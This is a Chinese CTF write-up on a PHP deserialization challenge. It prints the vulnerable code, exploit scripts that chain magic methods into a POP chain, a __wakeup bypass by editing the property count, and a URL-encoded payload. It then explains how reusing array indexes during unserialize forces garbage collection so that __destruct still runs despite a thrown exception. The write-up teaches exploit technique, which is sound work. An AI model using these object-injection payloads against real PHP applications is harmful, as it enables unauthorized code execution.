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[原创]利用PHP垃圾回收机制构造POP链

2022-3-3 16:51 7580

[原创]利用PHP垃圾回收机制构造POP链

Tajang

2022-3-3 16:51

7580

这本来是第四届浙江省赛的题目，有很多解法，但在赛后受歪四大佬指点。一个很“怪”的解法出现了，可能是我见识少。先放原题和一种常规解法。

原题

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}
 
class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}
 
class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}
 
class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

由于赛后没有环境，所以在phpstudy里复现的，把getFlag里的cat语句修改为了包含flag.php，并且输出flag。其实成功调用那个getFlag方法就可以。

常规思路

如何调用getFlag？在类Fun中call_user_func函数可以做到，所以只需调用Fun里的__call，而调用Fun中不存在的方法即可，由此可以看到类A中__get方法中含有调用方法的语句。调用不可访问的属性触发__get方法，这个不可访问的属性包括私有属性以及不存在的属性。这里通过类B即可达到。

注意：call_user_func函数，第一个参数是函数名，后面的参数是此函数的参数。若调用的函数在类里，那么这个参数要用数组形式传递，第一个元素为类名，第二个元素为函数名。绕过__wakeup修改属性个数即可，可能包含不可见字符，要编码。

exp：

<?php
class Fun{
    private $func;
    public function __construct(){
    $this->func = [new Test,'getFlag'];//也可以写为$this->func = "Test::getFlag";这样由于没有实例化Test类，还不会触发Test里的__wakeup()
    }
}
 
class Test{
    public function getFlag(){
    }
}
 
class A{
    public $a;
}
 
class B{
    public $p;
}
 
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
 
$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);

payload：

1	`O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A2%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Test%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7D`

强制触发垃圾回收机制思路

在常规思路中我们的pop链是B→A→Fun→Test，可是B里的__destruct()方法貌似没有主动触发。在之前一篇文章说过destruct的触发

__destruct（析构函数）当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁，当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁，PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

在常规思路中destruct是隐式销毁触发的，当然这里使用强行GC

首先我们要简单了解垃圾回收是什么，就是把内存中不需要使用的量给清除掉，收回它所占用的空间。

旧的GC

在PHP5.3版本之前,使用的垃圾回收机制是单纯的“引用计数”。即：
①每个内存对象都分配一个计数器，当内存对象被变量引用时，计数器+1；
②当变量引用撤掉后（执行unset()后），计数器-1；
③当计数器=0时，表明内存对象没有被使用，该内存对象则进行销毁，垃圾回收完成。

这个时候就出现了问题，我自己引用我自己，自身一个，自己又被引用，所以计数器是2，但我将它销毁，才减1，此时明明已销毁，但还是1，所以无法进行回收，产生了内存泄漏。

新的GC

每个php变量存在一个叫"zval"的变量容器中。一个zval变量容器，除了包含变量的类型和值，还包括两个字节的额外信息。

第一个是"is_ref"，是个bool值，用来标识这个变量是否是属于引用集合(reference set)。通过这个字节，php引擎才能把普通变量和引用变量区分开来，由于php允许用户通过使用&来使用自定义引用，zval变量容器中还有一个内部引用计数机制，来优化内存使用。

第二个额外字节是"refcount"，用以表示指向这个zval变量容器的变量(也称符号即symbol)个数。所有的符号存在一个符号表中，其中每个符号都有作用域(scope)。简单的理解如下图所示：

具体的代码示例，网上的太多了。装个Xdebug插件就可以测试，这里就不赘述了。

触发垃圾回收

该算法的实现可以在“Zend/zend_gc.c”（ https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c ）中找到。每当zval被销毁时（例如：在该zval上调用unset时），垃圾回收算法会检查其是否为数组或对象。除了数组和对象外，所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根（Root），并会被添加到一个名为gc_root_buffer的列表中。
然后，将会重复上述步骤，直至满足下述条件之一：
1、gc_collect_cycles()被手动调用（ http://php.net/manual/de/function.gc-collect-cycles.php ）；
2、垃圾存储空间将满。这也就意味着，在根缓冲区的位置已经存储了10000个zval，并且即将添加新的根。这里的10000是由“Zend/zend_gc.c”（ https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c ）头部中GC_ROOT_BUFFER_MAX_ENTRIES所定义的默认限制。当出现第10001个zval时，将会再次调用gc_zval_possible_root，这时将会再次执行对gc_collect_cycles的调用以处理并刷新当前缓冲区，从而可以再次存储新的元素。

由于现实环境的种种限制，手动调用gc_collect_cycles()并不现实。也就是说，我们要强行触发gc，要靠填满垃圾存储空间

反序列化中触发垃圾回收以及问题解决

这个涉及太多php底层内容，搞了好久也只是一知半解，我这里将原理以及遇到的问题简单点说，具体示例以及资料我会放在文章末尾

由于反序列化过程允许一遍又一遍地传递相同的索引，所以不断填充空间。一旦重新使用数组的索引，旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update，它将调用旧元素的析构函数（Destructor）。每当zval被销毁时，都会涉及到垃圾回收算法。这也就意味着，所有创建的数组都会开始填充垃圾缓冲区，直至超出其空间导致对gc_collect_cycles的调用。

但是问题也来了，反序列化期间所有元素的引用计数器值都大于完成后的值。这是为啥？因为反序列化过程会跟踪所有未序列化的元素，以允许设置引用。全部条目都存储在列表var_hash中。一旦反序列化过程即将完成，就会破坏函数var_destroy中的条目。

所以针对每个在特定元素上的附加引用，我们必须让引用计数增加2。大佬给出了一种方法：

ArrayObject的反序列化函数接受对另一个数组的引用，以用于初始化的目的。这也就意味着，一旦我们对一个ArrayObject进行反序列化后，就可以引用任何之前已经被反序列化过的数组。此外，这还将允许我们将整个哈希表中的所有条目递减两次。具体步骤如下：
1、得到一个应被释放的目标zval X；
2、创建一个数组Y，其中包含几处对zval X的引用：array(ref_to_X, ref_to_X, […], ref_to_X)；
3、创建一个ArrayObject，它将使用数组Y的内容进行初始化，因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤，我们可以操纵标记算法，对数组Y中的所有引用实现两次访问。但是，在反序列化过程中创建引用将会导致引用计数器增加2，所以还要找到解决方案：
4、使用与步骤3相同的方法，额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject，它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减，可以将该方法用于对任意目标zval的引用计数器实现清零。

虽然能够清零任意目标zval的引用计数器，但垃圾回收算法依然没有释放，但这太高深的东西我已经头疼了，资料就是这些，知道大致原理，我们回归到题目上来。

例子

看一段代码

<?php
highlight_file(__FILE__);
$flag ="Tajang{CTFking}";
class B {
    function __destruct() {
            echo "successful\n";
            echo $flag;
    }
}
unserialize($_GET[1]);
throw new Exception('中途退出啦');

我们假如要执行__destruct方法，打印flag，就得绕过这个throw new Exception。因为__destruct方法是在该对象被回收时调用，而exception会中断该进程对该对象的销毁。

所以我们需要强制让php的GC（垃圾回收机制）去进行该对象的回收。上面的原理已经说了方法：需要反序列化一个数组，然后再利用第一个索引，来触发GC

<?php
class B{
    function __construct(){
        echo "Tajang";
    }
} 
echo serialize(array(new B, new B));
?>

得到a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}，我们利用第一个索引，所以将后面改为第一个元素索引即可，也可以多加几个触发gc。payload：a:2{i:0;O:1:"B":0:{}i:0;i:0;}

回到正题，这个用垃圾回收机制的题解也就出来了

<?php
class B{
    public $p;
    public function __construct(){
        $this->a = new A();
    }
}
 
class A{
    public $a;
    public function __construct(){
        $this->a = new Fun();
    }
}
 
class Fun{
    private $func = 'call_user_func_array';
    public function __construct()
    {
        $this->func ="Test::getFlag";
    }
}
$o = array(new B, new B);
$a = serialize($o);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$a));

多添加几次第一个索引达到多次触发gc更好，再用空格隔开更好，于是最后三行可以修改为如下：

$o = array(new B, new B);
$tmp = "i:0;".serialize(new B);
$a =  serialize($o);
$z = str_replace($tmp,$tmp." ",$a);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$z));

结果都是一样的

大佬坠入Java深渊，忘记了这个GC。只能自己找、自己理解了。搞了好久查了好多的资料，还读不懂，谷歌的都是英文。本文引用了一些文章内容，还有自己的总结以及理解，如有错误，请各位指出，定会及时修改。

资料：

Breaking PHP’s Garbage Collection and Unserialize（众多文章的源头，全英文不太好读懂）

如何攻破PHP的垃圾回收和反序列化机制（上）

如何攻破PHP的垃圾回收和反序列化机制（下）（这两篇是译文，翻译的很好）

php反序列化小trick之强制GC（写完之后发现这个作者的demo很好，借用一下）

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